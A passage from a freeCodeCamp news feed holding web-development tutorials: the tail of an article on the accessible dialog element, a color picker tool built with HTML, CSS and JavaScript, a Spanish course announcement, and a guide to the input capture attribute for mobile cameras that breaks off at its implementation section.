<p>The <code>&lt;dialog&gt;</code> element is the native way to create modals. It provides built-in accessible features for both keyboard and screen reader users</p>
<p>The <code>&lt;dialog&gt;</code> element is of two types, modal and non-modal. You can create a non-modal dialog using the <code>show()</code> method, and the <code>showModal()</code> method will create a modal dialog.</p>
<p>When you're not using the native dialog element, ensure your custom modal matches the native dialog in terms of accessibility to ensure a uniform experience for all users</p>
<p>You should also always remember to autofocus the most immediate interactive element, the dialog can do this by default.</p>
<p>Finally, you can use the <code>inert</code> attribute on other elements to prevent those elements from being accessed when the modal is open.</p>
<h3 id="heading-resources">Resources:</h3>
<ul>
<li><p><a target="_blank" href="https://w3c.github.io/aria/#dialog">W3c Dialog role</a></p>
</li>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dialog">MDN: The Dialog element</a></p>
</li>
</ul>
<p>Thank you so much for reading this article. If you found it helpful, consider sharing. Happy coding!</p>
<p>You can connect with me on <a target="_blank" href="https://www.linkedin.com/in/elizabeth-meshioye/">LinkedIn</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Create A Color Picker Tool Using HTML, CSS, and JavaScript ]]>
                </title>
                <description>
                    <![CDATA[ Have you ever wanted to create your own interactive tools using just HTML, CSS, and JavaScript? In this article, we'll create a fun and straightforward project: a color picker tool. This handy little tool will let users select any color they like and... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/create-color-picker-using-html-css-and-javascript/</link>
                <guid isPermaLink="false">66bde01135055423d89b698f</guid>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CSS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ beginner ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Fanny Nyayic ]]>
                </dc:creator>
                <pubDate>Thu, 15 Aug 2024 11:01:37 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1723709466316/80aae148-6211-4070-ba33-eb4290408912.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Have you ever wanted to create your own interactive tools using just HTML, CSS, and JavaScript? In this article, we'll create a fun and straightforward project: a color picker tool.</p>
<p>This handy little tool will let users select any color they like and instantly see its HEX and RGB values.</p>
<p>So, grab your favorite code editor, and let's get started!</p>
<h2 id="heading-step-1-set-up-your-project">Step 1: Set Up Your Project</h2>
<ol>
<li><p><strong>Create a New Folder</strong>: Start by creating a new folder on your computer for this project. You can name it <strong>color-picker-tool</strong>.</p>
</li>
<li><p><strong>Create Files</strong>: Inside the folder, create three files:</p>
<ul>
<li><p><strong>index.html</strong></p>
</li>
<li><p><strong>styles.css</strong></p>
</li>
<li><p><strong>script.js</strong></p>
</li>
</ul>
</li>
</ol>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723707100431/55c7cc93-7b0d-4d67-abb1-8104dbeda18d.png" alt="55c7cc93-7b0d-4d67-abb1-8104dbeda18d" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-2-build-the-html-structure">Step 2: Build the HTML Structure</h2>
<ol>
<li><p>Open the <strong>index.html</strong> file in your code editor.</p>
</li>
<li><p><strong>Add Basic HTML Structure</strong>: Add the following code into <strong>index.html</strong>: or press <code>SHIFT+!</code> then press <code>Enter</code> to set the Emmet structure, then change the document title to <code>"Color Picker Tool".</code></p>
</li>
<li><p>Link your <strong>styles.css</strong> and <strong>script.js</strong> files too.</p>
<pre><code class="lang-html"> <span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
 <span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
 <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Color Picker Tool<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"styles.css"</span>&gt;</span>
 <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
 <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>

     <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"script.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
 <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
 <span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
</li>
</ol>
<h3 id="heading-explanation">Explanation:</h3>
<ul>
<li><p><code>&lt;!DOCTYPE html&gt;</code>: This tells the browser that the document is an HTML5 document.</p>
</li>
<li><p><code>&lt;html lang="en"&gt;</code>: The root element of the HTML document, with the language set to English.</p>
</li>
<li><p><code>&lt;head&gt;</code>: Contains meta-information about the document, like character set and title.</p>
</li>
<li><p><code>&lt;title&gt;</code>: Sets the title of the webpage, which appears in the browser tab.</p>
</li>
<li><p><code>&lt;link rel="stylesheet" href="styles.css"&gt;</code>: Links to the CSS file that styles the page.</p>
</li>
<li><p><code>&lt;body&gt;</code>: Contains the content of the webpage.</p>
</li>
<li><p><code>&lt;script src="script.js"&gt;&lt;/script&gt;</code>: Links to the JavaScript file that adds interactivity to the page.</p>
</li>
</ul>
<ol start="3">
<li><p><strong>Add the body content:</strong></p>
<pre><code class="lang-xml"> <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"color-picker"</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"color"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"colorInput"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"#ff0000"</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"color-info"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>HEX: <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"hexValue"</span>&gt;</span>#ff0000<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>RGB: <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"rgbValue"</span>&gt;</span>rgb(255, 0, 0)<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
     <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
 <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<h3 id="heading-explanation-1">Explanation:</h3>
</li>
</ol>
<ul>
<li><p><code>&lt;div class="color-picker"&gt;</code>: A container for the color picker elements.</p>
</li>
<li><p><code>&lt;input type="color" id="colorInput" value="#ff0000"&gt;</code>: An input element that lets users pick a color. The <code>value</code> attribute sets the default color.</p>
</li>
<li><p><code>&lt;div class="color-info"&gt;</code>: A container for displaying color information.</p>
</li>
<li><p><code>&lt;p&gt;HEX: &lt;span id="hexValue"&gt;#ff0000&lt;/span&gt;&lt;/p&gt;</code>: Displays the HEX value of the selected color.</p>
</li>
<li><p><code>&lt;p&gt;RGB: &lt;span id="rgbValue"&gt;rgb(255, 0, 0)&lt;/span&gt;&lt;/p&gt;</code>: Displays the RGB value of the selected color.</p>
</li>
</ul>
<p>Here is what we'll have:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723708023384/8a3b4b0f-39a3-4cc6-9550-64b593cd5662.png" alt="8a3b4b0f-39a3-4cc6-9550-64b593cd5662" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3-style-with-css">Step 3: Style with CSS</h2>
<ol>
<li><p>Open the <strong>styles.css</strong> file in your code editor.</p>
</li>
<li><p><strong>Add CSS Styles</strong>: Copy and paste the following code into <strong>styles.css</strong>:</p>
<pre><code class="lang-css"> <span class="hljs-selector-tag">body</span> {
     <span class="hljs-attribute">font-family</span>: Arial, sans-serif;
     <span class="hljs-attribute">display</span>: flex;
     <span class="hljs-attribute">justify-content</span>: center;
     <span class="hljs-attribute">align-items</span>: center;
     <span class="hljs-attribute">height</span>: <span class="hljs-number">100vh</span>;
     <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
     <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#f0f0f0</span>;
 }
 <span class="hljs-selector-class">.color-picker</span> {
     <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#fff</span>;
     <span class="hljs-attribute">padding</span>: <span class="hljs-number">20px</span>;
     <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">8px</span>;
     <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">4px</span> <span class="hljs-number">8px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.1</span>);
     <span class="hljs-attribute">text-align</span>: center;
 }
 <span class="hljs-selector-class">.color-info</span> {
     <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">20px</span>;
 }
 <span class="hljs-selector-tag">p</span> {
     <span class="hljs-attribute">margin</span>: <span class="hljs-number">5px</span> <span class="hljs-number">0</span>;
     <span class="hljs-attribute">font-size</span>: <span class="hljs-number">16px</span>;
 }
</code></pre>
</li>
</ol>
<h3 id="heading-explanation-2">Explanation:</h3>
<ul>
<li><p><code>body</code>: Styles the body of the page. It centers the content both vertically and horizontally and sets a light gray background.</p>
</li>
<li><p><code>font-family: Arial, sans-serif;</code>: Sets the font for the text on the page.</p>
</li>
<li><p><code>display: flex;</code>: Uses Flexbox to layout the page.</p>
</li>
<li><p><code>justify-content: center;</code> and <code>align-items: center;</code>: Centers the content.</p>
</li>
<li><p><code>height: 100vh;</code>: Sets the height to 100% of the viewport height.</p>
</li>
<li><p><code>margin: 0;</code>: Removes default margin.</p>
</li>
<li><p><code>background-color: #f0f0f0;</code>: Sets the background color of the page.</p>
</li>
<li><p><code>.color-picker</code>: Styles the color picker container with a white background, padding, rounded corners, and a shadow for a card-like appearance.</p>
</li>
<li><p><code>.color-info</code>: Adds a margin at the top to separate it from the color input.</p>
</li>
<li><p><code>p</code>: Styles the paragraphs within the color info, setting margin and font size.</p>
</li>
</ul>
<p>Here is what we will have:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723708068790/0b16e350-d292-4076-b5ee-29016970f762.png" alt="0b16e350-d292-4076-b5ee-29016970f762" class="image--center mx-auto" width="600" height="400" loading="lazy"></p>
<p>At this point, we can pick a color but the color codes won't be displayed. To have the color codes displayed, we'll have to add some JavaScript.</p>
<h2 id="heading-step-4-add-javascript-functionality">Step 4: Add JavaScript Functionality</h2>
<ol>
<li><p>Open the <code>script.js</code> file in your code editor.</p>
</li>
<li><p><strong>Add JavaScript Code</strong>: Add the following code into <code>script.js</code>:</p>
<pre><code class="lang-javascript"> <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'colorInput'</span>).addEventListener(<span class="hljs-string">'input'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
     <span class="hljs-keyword">const</span> color = <span class="hljs-built_in">this</span>.value;
     <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'hexValue'</span>).textContent = color;
     <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'rgbValue'</span>).textContent = hexToRgb(color);
 });
 <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hexToRgb</span>(<span class="hljs-params">hex</span>) </span>{
     <span class="hljs-keyword">const</span> r = <span class="hljs-built_in">parseInt</span>(hex.slice(<span class="hljs-number">1</span>, <span class="hljs-number">3</span>), <span class="hljs-number">16</span>);
     <span class="hljs-keyword">const</span> g = <span class="hljs-built_in">parseInt</span>(hex.slice(<span class="hljs-number">3</span>, <span class="hljs-number">5</span>), <span class="hljs-number">16</span>);
     <span class="hljs-keyword">const</span> b = <span class="hljs-built_in">parseInt</span>(hex.slice(<span class="hljs-number">5</span>, <span class="hljs-number">7</span>), <span class="hljs-number">16</span>);
     <span class="hljs-keyword">return</span> <span class="hljs-string">`rgb(<span class="hljs-subst">${r}</span>, <span class="hljs-subst">${g}</span>, <span class="hljs-subst">${b}</span>)`</span>;
 }
</code></pre>
<h3 id="heading-explanation-3">Explanation:</h3>
<ul>
<li><p><code>document.getElementById('colorInput')</code>: Selects the color input element by its <code>ID</code>.</p>
</li>
<li><p><code>.addEventListener('input', function() {...})</code>: Adds an event listener that triggers whenever the user selects a new color.</p>
</li>
<li><p><code>const color = this.value;</code>: Gets the current value of the color input, which is in HEX format.</p>
</li>
<li><p><code>document.getElementById('hexValue').textContent = color;</code>: Updates the text content of the HEX value display with the selected color.</p>
</li>
<li><p><code>document.getElementById('rgbValue').textContent = hexToRgb(color);</code>: Converts the HEX color to RGB and updates the RGB value display.</p>
</li>
<li><p><code>function hexToRgb(hex) {...}</code>: A function that converts a HEX color string to an RGB string.</p>
<ul>
<li><p><code>parseInt(hex.slice(1, 3), 16)</code>: Converts the first two characters of the HEX color (after the <code>#</code>) to a decimal number, representing the red component.</p>
</li>
<li><p><code>parseInt(hex.slice(3, 5), 16)</code>: Converts the next two characters to the green component.</p>
</li>
<li><p><code>parseInt(hex.slice(5, 7), 16)</code>: Converts the last two characters to the blue component.</p>
</li>
<li><p><code>return</code> rgb(${r}, ${g}, ${b})<code>;</code>: Returns the RGB color as a string.</p>
</li>
</ul>
</li>
</ul>
</li>
</ol>
<h2 id="heading-step-5-test-your-color-picker-tool">Step 5: Test Your Color Picker Tool</h2>
<ol>
<li><p><strong>Open the Project in a Browser</strong>: Open the <strong>index.html</strong> file in a web browser to view your color picker tool.</p>
</li>
<li><p><strong>Interact with the Tool</strong>: Use the color input to select different colors. The HEX and RGB values should update automatically as you select new colors.</p>
</li>
</ol>
<h3 id="heading-final-thoughts">Final Thoughts</h3>
<p>Congratulations! You've successfully created a color picker tool using HTML, CSS, and JavaScript.</p>
<p>This project is a great way to practice working with user input and manipulating the DOM. You can further enhance this tool by adding features like copying color values to the clipboard or saving favorite colors.</p>
<p>Enjoy experimenting and learning!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Practice Your HTML, CSS, and JavaScript Skills in Spanish by Building 3 Projects ]]>
                </title>
                <description>
                    <![CDATA[ Building projects is very important for learning how to code. When you create a project, you expand your portfolio and learn how to apply your skills to new situations. We just published a 2-hour course on the freeCodeCamp.org Spanish YouTube channel... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/practice-your-html-css-and-javascript-skills-in-spanish-by-building-3-projects/</link>
                <guid isPermaLink="false">6698fda8f2ebdbb8bd331b8b</guid>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CSS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Estefania Cassingena Navone ]]>
                </dc:creator>
                <pubDate>Thu, 18 Jul 2024 11:34:00 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1721080988346/32a464e0-38af-4eba-b42a-af48cafecaef.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Building projects is very important for learning how to code. When you create a project, you expand your portfolio and learn how to apply your skills to new situations.</p>
<p>We just published a 2-hour course on the <a target="_blank" href="https://www.youtube.com/freecodecampespanol">freeCodeCamp.org Spanish YouTube channel</a> that will guide you step by step through building 3 projects with HTML, CSS, and JavaScript. You will practice your skills by building a responsive navigation bar with dropdown menus, a slider, and a landing page with a custom modal.</p>
<p>If you have Spanish-speaking friends, you are welcome to share the <a target="_blank" href="https://www.freecodecamp.org/espanol/news/practica-html-css-javascript-creando-3-proyectos"><strong>Spanish version of this article</strong></a> with them.</p>
<p>Jordan Alexander Cruz Garcia teaches this course. He is a web developer who loves sharing his knowledge and teaching others about the amazing world of CSS.</p>
<p><strong>💡 Tip:</strong> Please note that the course focuses on HTML and CSS but also requires basic knowledge of JavaScript for implementing the interactivity.</p>
<h2 id="heading-html-css-and-javascript"><strong>HTML, CSS, and JavaScript</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721081239678/cbb8391c-ddec-49fb-a806-75bb00fe5673.png" alt="cbb8391c-ddec-49fb-a806-75bb00fe5673" class="image--center mx-auto" width="2722" height="1052" loading="lazy"></p>
<p>HTML stands for <strong>HyperText Markup Language</strong> and CSS stands for <strong>Cascading Style Sheets</strong>. While HTML provides the structure and content of a website, CSS determines how the content is displayed. It controls the visual aspects of the website, such as fonts, colors, layouts, spacing, and animations.</p>
<p>With CSS, you can easily create different styles and layouts for various screen sizes, making your website look great on desktops, tablets, and mobile devices.</p>
<p><strong>💡 Tip:</strong> Websites that adapt to different screen sizes are known as "responsive websites".</p>
<p>We usually write CSS in an external file that we refer to as a "stylesheet". Then, we link this stylesheet to the HTML file, applying all the styles to the corresponding HTML elements based on the CSS selectors and properties.</p>
<p>Separating the content of the website from its presentation is very helpful. It results in a more maintainable project structure and a more efficient rendering process because browsers can render the structure more quickly, while downloading CSS styles in the background.</p>
<p>Basically, CSS is an essential tool for creating the beautiful, visual, and user-friendly websites that we see today.</p>
<p>JavaScript adds interactivity to the website. It turns plain elements into interactive elements to create engaging user experiences.</p>
<h2 id="heading-html-css-and-javascript-projects-in-spanish"><strong>HTML, CSS, and JavaScript Projects in Spanish</strong></h2>
<p>Awesome. Now that you know more about HTML, CSS, and JavaScript, let's check out the projects that you will build during the course.</p>
<h3 id="heading-project-1-navigation-bar">Project 1: Navigation Bar</h3>
<p>You will start by building a navigation bar with dropdown menus. This navigation bar will be responsive, so it will expand or shrink to fit the size of the screen. If the screen is too small, it will automatically transform into a sidebar.</p>
<p><strong>💡 Tip:</strong> The main options will always be displayed. When the user clicks on "About" or "Projects", a dropdown menu with additional options will be displayed.</p>
<p><strong>Desktop version</strong></p>
<p>Here you can see the desktop version.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720982288758/932e25d8-c6ad-4d0d-b54a-19e12aff07bc.png" alt="932e25d8-c6ad-4d0d-b54a-19e12aff07bc" class="image--center mx-auto" width="1104" height="561" loading="lazy"></p>
<p><strong>Mobile version</strong></p>
<p>This is the mobile version that you will see in small devices.</p>
<p>💡 <strong>Tip:</strong> This technique of hiding and toggling the navigation bar is used very frequently to optimize the space for the content as much as possible.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720982239484/6d4882b0-044f-40d7-9c15-220e25449826.png" alt="6d4882b0-044f-40d7-9c15-220e25449826" class="image--center mx-auto" width="623" height="800" loading="lazy"></p>
<h3 id="heading-project-2-slider">Project 2: Slider</h3>
<p>Next, you will build a slider with three positions that will change when the user clicks on the left or right arrows. Each position will have a title, a short paragraph, and a circular image.</p>
<p><strong>💡Tip:</strong> Sliders are helpful for sharing user feedback, quotes, and reviews.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720976794338/6eeac0de-8dca-4a8b-8568-9c4b44220808.png" alt="6eeac0de-8dca-4a8b-8568-9c4b44220808" class="image--center mx-auto" width="1915" height="986" loading="lazy"></p>
<h3 id="heading-project-3-landing-page">Project 3: Landing Page</h3>
<p>Finally, you will build a landing page step by step with CSS Grid.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720976917675/b9ea5835-6a83-4369-b952-b94d5c7bed6b.png" alt="b9ea5835-6a83-4369-b952-b94d5c7bed6b" class="image--center mx-auto" width="1917" height="984" loading="lazy"></p>
<p>When the user clicks on the "Join us!" button, a custom modal will be displayed. You will implement this modal with HTML, CSS, and JavaScript step by step.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720982884236/b5e066bc-7307-4078-bf45-d1cbe50f0b6d.png" alt="b5e066bc-7307-4078-bf45-d1cbe50f0b6d" class="image--center mx-auto" width="1913" height="938" loading="lazy"></p>
<p>If you are ready to start practicing your HTML, CSS, and JavaScript skills, check out the course on the <a target="_blank" href="https://www.youtube.com/freecodecampespanol">freeCodeCamp.org Spanish YouTube channel</a>:</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/yZeXLvHP6LM" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
<p> </p>
<p>✍️ Course created by Jordan Alexander Cruz Garcia (AlexCG).</p>
<ul>
<li><p>YouTube: <a target="_blank" href="https://www.youtube.com/c/AlexCGDesign">@AlexCGDesign</a></p>
</li>
<li><p>Twitter: <a target="_blank" href="https://x.com/alexcgdesign">@alexcgdesign</a></p>
</li>
<li><p>Linkedin: <a target="_blank" href="https://www.linkedin.com/in/jordan-alexander-cruz-garcia-07626115a/">Jordan Alexander Cruz Garcia</a></p>
</li>
<li><p>Instagram: <a target="_blank" href="https://www.instagram.com/alexcg_design/">@alexcg_design</a></p>
</li>
<li><p>GitHub: <a target="_blank" href="https://github.com/AlexCGDesign">AlexCGDesign</a></p>
</li>
<li><p>Web Development Blog: <a target="_blank" href="https://www.alexcgdesign.com/blog">https://www.alexcgdesign.com/blog</a></p>
</li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use the <input> Element to Access a Mobile Device's Camera ]]>
                </title>
                <description>
                    <![CDATA[ Mobile devices have become common tools for communication, entertainment, and productivity.  With the growth of smartphones and tablets, accessing features like the camera directly from a web application has become increasingly important. Fortunately... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-use-input-element-to-access-camera-on-mobile/</link>
                <guid isPermaLink="false">66c4c3e2e486f65d4125b7fd</guid>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Joan Ayebola ]]>
                </dc:creator>
                <pubDate>Wed, 31 Jan 2024 08:55:36 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2024/01/Ivory-and-Blue-Lavender-Aesthetic-Photo-Collage-Presentation--5-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Mobile devices have become common tools for communication, entertainment, and productivity. </p>
<p>With the growth of smartphones and tablets, accessing features like the camera directly from a web application has become increasingly important. Fortunately, HTML5 provides a simple and effective way to do this using the <code>&lt;input&gt;</code> element.</p>
<p>In this article, we will explore how to utilize the <code>&lt;input&gt;</code> element with the <code>type</code> and <code>capture</code> attributes to seamlessly capture a user's camera on mobile devices. We'll discuss these attributes, understand their functionalities, and provide practical examples along the way. So, let's dive in!</p>
<h3 id="heading-table-of-contents">Table of Contents</h3>
<ol>
<li><a class="post-section-overview" href="#heading-understanding-the-element">Understanding the <code>&lt;input&gt;</code> Element</a></li>
<li><a class="post-section-overview" href="#using-the-type-attribute">Using the <code>type</code> Attribute</a></li>
<li><p><a class="post-section-overview" href="#heading-introducing-the-capture-attribute">Introducing the <code>capture</code> Attribute</a><br>3.1. <a class="post-section-overview" href="#1-capturing-from-front-facing-camera-user-">Capturing from Front-Facing Camera (<code>user</code>)</a><br>3.2. <a class="post-section-overview" href="#2-capturing-from-back-facing-camera-environment-">Capturing from Back-Facing Camera (<code>environment</code>)</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-limitations-and-considerations-for-video-capture">Limitations and Considerations for Video Capture</a><br>4.1. <a class="post-section-overview" href="#heading-1-browser-and-device-support">Browser and Device Support</a><br>4.2. <a class="post-section-overview" href="#heading-2-alternative-approaches">Alternative Approaches</a><br>4.3. <a class="post-section-overview" href="#heading-3-progressive-enhancement">Progressive Enhancement</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-practical-implementation">Practical Implementation</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ol>
<h2 id="heading-understanding-the-element">Understanding the <code>&lt;input&gt;</code> Element</h2>
<p>The <code>&lt;input&gt;</code> element is one of the most versatile and widely used form elements in HTML. It allows users to input data and interact with web applications in various ways, such as text input, file selection, and more. </p>
<p>When it comes to capturing a user's camera on mobile, we'll focus on leveraging the <code>&lt;input&gt;</code> element with specific attributes tailored for this purpose.</p>
<h2 id="heading-how-to-use-the-type-attribute">How to Use the <code>type</code> Attribute</h2>
<p>The <code>type</code> attribute of the <code>&lt;input&gt;</code> element specifies the type of input control to display. </p>
<p>To capture a user's camera on mobile, we'll utilize the <code>type</code> attribute with the value <code>file</code>. This value indicates that the input should prompt the user to select a file, which in our case, will be an image or video directly from their camera.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"file"</span> <span class="hljs-attr">accept</span>=<span class="hljs-string">"image/*, video/*"</span> <span class="hljs-attr">capture</span>&gt;</span>
</code></pre>
<p>By setting the <code>type</code> attribute to <code>file</code>, we inform the browser to open the file picker dialog when the input is clicked, allowing the user to choose an image or video file from their device. The <code>accept</code> attribute further refines the selection to only accept image and video file types.</p>
<h2 id="heading-introducing-the-capture-attribute">Introducing the <code>capture</code> Attribute</h2>
<p>The <code>capture</code> attribute is an additional attribute introduced in HTML5, specifically targeting mobile devices. It enhances the functionality of the <code>&lt;input&gt;</code> element by enabling direct access to the device's camera. The <code>capture</code> attribute can accept two values: <code>user</code> and <code>environment</code>.</p>
<h3 id="heading-1-capturing-from-a-front-facing-camera-user">1. Capturing from a Front-Facing Camera (<code>user</code>)</h3>
<p>Setting the <code>capture</code> attribute to <code>user</code> instructs the browser to open the front-facing camera when the input is activated. This is particularly useful for scenarios such as taking selfies or capturing video calls directly within a web application.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"file"</span> <span class="hljs-attr">accept</span>=<span class="hljs-string">"image/*, video/*"</span> <span class="hljs-attr">capture</span>=<span class="hljs-string">"user"</span>&gt;</span>
</code></pre>
<p>With this configuration, users can seamlessly switch to their device's front camera and capture photos or record videos without leaving the web page.</p>
<h3 id="heading-2-capturing-from-a-back-facing-camera-environment">2. Capturing from a Back-Facing Camera (<code>environment</code>)</h3>
<p>Alternatively, setting the <code>capture</code> attribute to <code>environment</code> directs the browser to access the device's rear-facing camera. This mode is suitable for scenarios where users need to capture their surroundings, such as scanning barcodes, documenting events, or taking landscape photos.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"file"</span> <span class="hljs-attr">accept</span>=<span class="hljs-string">"image/*, video/*"</span> <span class="hljs-attr">capture</span>=<span class="hljs-string">"environment"</span>&gt;</span>
</code></pre>
<p>By specifying <code>capture="environment"</code>, the web application prompts users to utilize the superior quality and broader perspective offered by the back camera of their mobile device.</p>
<h2 id="heading-limitations-and-considerations-for-video-capture">Limitations and Considerations for Video Capture</h2>
<p>The <code>capture</code> attribute itself doesn't guarantee video capture functionality, as its primary purpose is to specify whether to use the front or back camera (<code>user</code> or <code>environment</code> values) when capturing media. </p>
<p>Also, the ability to directly capture videos via the <code>&lt;input&gt;</code> element is not universally supported and is subject to limitations and inconsistencies across different platforms and browsers.</p>
<h3 id="heading-1-browser-and-device-support">1. Browser and Device Support</h3>
<p>Not all browsers and devices support video capture via the <code>&lt;input&gt;</code> element. While some modern browsers may allow video capture, others may only support image capture. Additionally, the behavior may vary based on the operating system and device capabilities.</p>
<h3 id="heading-2-alternative-approaches">2. Alternative Approaches</h3>
<p>For scenarios requiring video capture functionality, you can consider other approaches such as:</p>
<p><strong>Using JavaScript Libraries/APIs:</strong> Leveraging JavaScript libraries or APIs such as the MediaDevices API allows developers to access more advanced features for capturing media, including video recording capabilities. These solutions provide greater control and consistency across different devices and platforms.</p>
<p><strong>Native Mobile Apps:</strong> For applications heavily reliant on video capture, developing native mobile apps tailored to specific platforms can provide the best user experience. Native apps can leverage platform-specific APIs and optimizations for seamless video capture and processing.</p>
<h3 id="heading-3-progressive-enhancement">3. Progressive Enhancement</h3>
<p>When implementing video capture functionality in web applications, it's essential to employ progressive enhancement strategies. This involves providing basic functionality using standard HTML features and enhancing the experience for capable devices and browsers using advanced techniques such as JavaScript-based solutions or native app integration.</p>
<p>By adopting a progressive enhancement approach, developers can ensure that users with compatible devices and browsers enjoy an enhanced video capture experience while maintaining basic functionality for users on less capable platforms.</p>
<h2 id="heading-practical-implementation">Practical Implementation</h2>
